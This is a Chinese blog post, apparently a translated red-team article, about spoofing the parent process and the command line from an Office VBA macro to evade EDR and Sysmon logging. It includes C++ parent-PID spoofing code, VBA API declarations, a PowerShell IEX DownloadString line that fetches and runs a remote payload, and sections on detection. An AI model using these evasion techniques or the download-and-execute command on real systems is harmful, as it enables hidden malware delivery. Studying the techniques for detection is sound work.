.net 宏定义_绕过EDR:构造Office宏欺骗父进程和命令行参数

1149b4d9c5f3114f14b6770bf474f6e2.gif

69d21dfa000b80853edd4577b8235125.png一、背景

大多数现代EDR解决方案都使用行为检测的方式,允许根据其行为来检测恶意软件,而不是仅仅使用IoC(例如:文件哈希值、域名)。在这篇文章中,我给出了欺骗新进程的父进程和命令行参数这两种技术的VBA实现方法。此类实现允许制作更加隐蔽的Office宏,并使宏生成的进程看起来像是由另一个程序(例如explorer.exe)创建的,并具有看上去良性的命令行参数。

需要说明的是,我并非提出这些技术的作者,这些技术是由Will Burgess、Didier Stevens和Casey Smith提出的。

首先,我们将讲解在Visual Basic中实现的技术背景。我第一次听到这些内容,是在Wild West Hackin’ Fest 2018中听到了Will Burgess的演讲之后。

1.1 父进程欺骗

当进程派生出子进程时,例如Sysmon之类的EDR解决方案会记录该操作,同时会记录各种信息,例如:新创建的进程名称、哈希值、可执行路径以及有关父进程的信息。这对于构件行为规则非常有帮助,比如,“Microsoft Word永远不会派生出powershell.exe”。根据我的经验,这些规则具有较低的复杂性、较高的附加值,仅在极少情况下会发生误报。

ded8ee3e671c468ee19830f65346a844.png

事实证明,在使用Windows本地API创建进程时,可以指定任何进程作为其父进程。这并不是一个新鲜事,因此我不会在本文中更加详细地描述。实际上,Didier Stevens早在10年前就写过关于这一方面的文章。下面是一个C++代码的示例供大家参考,将使用任意进程作为父进程,派生出cmd.exe。

// 本代码基于https://gist.github.com/xpn/a057a26ec81e736518ee50848b9c2cd6

#include "pch.h"

#include

#include

#include

#include

int main(int argc, char **canttrustthis)

{

       PROCESS_INFORMATION pi = { 0 };

       STARTUPINFOEXA si = { 0 };

       SIZE_T sizeToAllocate;

       int parentPid = 9524; // Could be found dynamically as well

       // Get a handle on the parent process to use

       HANDLE processHandle = OpenProcess(PROCESS_ALL_ACCESS, false, parentPid);

       if (processHandle == NULL) {

              fprintf(stderr, "OpenProcess failed");

              return 1;

       }

       // Initialize the process start attributes

       InitializeProcThreadAttributeList(NULL, 1, 0, &sizeToAllocate);

       // Allocate the size needed for the attribute list

       si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeToAllocate);

       InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &sizeToAllocate);

       // Set the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS option to specify the parent process to use

       if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), NULL, NULL)) {

              fprintf(stderr, "UpdateProcThreadAttribute failed");

              return 1;

       }

       si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

       printf("Creating process...\n");

       BOOL success = CreateProcessA(

              NULL, // App name

              "C:\\Windows\\system32\\calc.exe", // Command line

              NULL, // Process attributes

              NULL, // Thread attributes

              true, // Inherits handles?

              EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, // Creation flags

              NULL, // Env

              "C:\\Windows\\system32", // Current dir

              (LPSTARTUPINFOA) &si,

              &pi

       );

       if (!success) {

              printf("Error %d\n", GetLastError());

       }

       return 0;

}

c0a960e865f8ba690673d2557b56c408.png

1.2 进程命令行欺骗

这是一种新型技术,根据Will Burgess在演讲中所说,首次提出该技术的是Casey Smith。Adam Chester随后在他的博客上写了一个C++的概念验证代码。我推荐各位读者阅读他的文章,并了解实施的细节。接下来,我们来迅速看看这种技术的原理。

创建进程时,内部Windows数据结构Process Environment Block将会映射到进程虚拟内存中。该数据结构包含有关进程本身的大量信息,例如已加载模块的列表,以及用于启动进程的命令行。由于PEB(以及命令行)存储在进程的内存空间而不是内核空间中,因此只要我们对进程具有适当的权限,就很容易实现对其的覆盖。

a13214ac82d357f9539d8a2cdf6c92af.png

更具体来说,该技术的工作原理如下:

1. 在挂起状态下创建进程;

2. 使用NTQueryInformatioProcess检索PEB地址;

3. 使用WriteProcessMemory覆盖存储在PEB中的命令行;

4. 恢复进程。

这将导致Windows记录的只是步骤(1)中提供的命令行,但在步骤(3)中,进程代码会覆盖原始命令行。Adam Chester编写的完整概念验证代码,可以在GitHub上找到。

69d21dfa000b80853edd4577b8235125.png二、VBA实施

2.1 目标

这两个概念证明非常棒,但是如果我们可以在Office宏中实现相同的功能,就将会形成一个经典的攻击向量。事实证明,我们可以使用P/Invoke直接从VBA代码中调用低级别Windows API。例如,如果我们将函数OpenProcess定义为:

HANDLE OpenProcess(

 DWORD dwDesiredAccess,

 BOOL  bInheritHandle,

 DWORD dwProcessId

);

可能需要以下VBA代码段:

Private Declare PtrSafe Function OpenProcess Lib "kernel32.dll" ( _ 

   ByVal dwDesiredAccess As Long, _

   ByVal bInheritHandle As Integer, _

    ByVal dwProcessId As Long _

) As Long

可以轻松实现调用:

Const PROCESS_ALL_ACCESS = &H1F0FFF

Dim handle As LongPtr

Dim PID As Integer

PID = 4444

handle = OpenProcess(PROCESS_ALL_ACCESS, False, PID)

这意味着,如果我们在VBA代码中定义所有必须的绑定和数据结构,我们应该就能够实现上述的两种技术,从而使用欺骗的父进程和命令行来生成新进程。

我们的计划如下:

1. 检索一眼看上去就是合法进程(例如explorer.exe)的PID;

2. 创建一个新进程(例如:powershell.exe),将此进程作为父进程,使用看上去合法的命令行,并使其处于挂起状态;

3. 覆盖PEB中的进程命令行;

4. 恢复进程。

举个例子,我们可以使用如下的原始命令行:

powershell.exe -NoExit -c Get-Service -DisplayName '*network*' | Where-Object { $_.Status -eq 'Running' } | Sort-Object DisplayName

这只是一个PowerShell命令,用于列出名称中包含network的正在运行的服务。然后,我们可以使用命令行对其进行覆盖,该命令行将从网络下载PowerShell Payload并执行:

powershell.exe -noexit -ep bypass -c IEX((New-Object System.Net.WebClient).DownloadString('http://bit.ly/2TxpA4h'))

2.2 结果

经过整整一周的尝试,我的大脑中全都是Visual Basic(我之前从未使用过)、P/Invoke、调试可读的VBA错误,我不断修改VBA代码,最终终于成功。源代码位于:https://github.com/christophetd/spoofing-office-macro

下面是执行宏时,Sysmon记录的内容:

b08b260f6540a877501b7ba0d7448e3e.png

而实际的父进程是WINWORD.exe,并且正在执行的实际命令行是powershell.exe -noexit -ep bypass -c IEX((New-Object

System.Net.WebClient).DownloadString(‘http://bit.ly/2TxpA4h’))。

使用Process Monitor这样的工具,也同样无法检测出这个技巧:

33ae7810a0ef43945288431d3692e83a.png

69d21dfa000b80853edd4577b8235125.png三、实际使用

目前,已经记录了一些攻击者利用具有类似欺骗技术的恶意文档。我通过Google搜索,找到以下内容:

http://www.pwncode.club/2018/08/macro-used-to-spoof-parent-process.html

https://twitter.com/tifkin_/status/900629117846028288

https://pastebin.com/xc9668u8

如果各位读者有其他样本,我希望能对其进行分析,请随时与我联系。

69d21dfa000b80853edd4577b8235125.png四、检测

Countercept发表了一篇描述如何检测父PID欺骗的文章。

从日志记录的角度来看,这些技术的实现使我们意识到,不能盲目地信任进程创建事件。但是,我们还有其他选择。首先,我们可以启用PowerShell模块日志记录,来获取正在调用的PowerShell模块的运行时日志。在这里,下面的日志条目将清晰地表明恶意活动。

80d7a8a84bcf9f0cadc59bdf58bee9ec.png

此外,Sysmon(其他EDR解决方案可能也是如此)仍然将记录powershell.exe正在建立网络连接的事实,并且该过程是在派生出进程(calc.exe)后不久。这也可以被视为触发警报的一种可疑行为。

最后,我们可以考虑如何在攻击链中更早地识别出这样的威胁,可以通过IDS捕获、被执行沙箱的邮件网关捕获到。此外,如果宏被禁用,那么这种威胁在终端上就会变得无效。

69d21dfa000b80853edd4577b8235125.png五、反病毒检测

在撰写本文时,如果不经过混淆,我们的代码在VirusTotal上的检测率非常高,为21/61。但是,Any.run执行的纯动态分析就不会检测恶意活动,会将文件标记为“可疑”。在这里,父进程和命令行欺骗成功骗过了沙箱。

Any.run给出的可疑结果:

17f69f88054938b65ad041cb5a51b9ce.png

显示Powershell.exe没有父进程:

752387efedcb691b41a3e513946c45c4.png

Any.run没有显示出PowerShell运行的实际命令行:

75d85b08cf4c9a9f75af876b18451b1b.png

然而,像Joe Sandbox这样更高级的产品将会检测文件中的其他可疑元素,并将该文件分类为恶意内容。例如,它检测到powershell.exe进程是在挂起状态下生成的,这本身就很可疑。

e55c1e6231a6d51a81a5774aaf7a63ea.png

69d21dfa000b80853edd4577b8235125.png六、总结

尽管流程创建日志对于蓝方来说具有巨大的价值,但我们应该小心,不要盲目的相信它们。如果防护方拥有来源广泛的可用日志:Windows、EDR、防火墙、代理、IDS、邮件网关,那么很可能会发现恶意威胁的存在。作为红方成员或渗透测试人员,利用这些技术可以方便地绕过仅依赖于进程创建日志的EDR解决方案。

非常感谢大家的阅读,我很乐意继续在Twitter上进行讨论(@christophetd)。如果大家有任何评论、疑问或者发现了任何错误,请随时与我联系。 

7b7cd3a36226590e99736caa0586f0b5.png

95c6d9a300a03e21444d60e75499156e.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值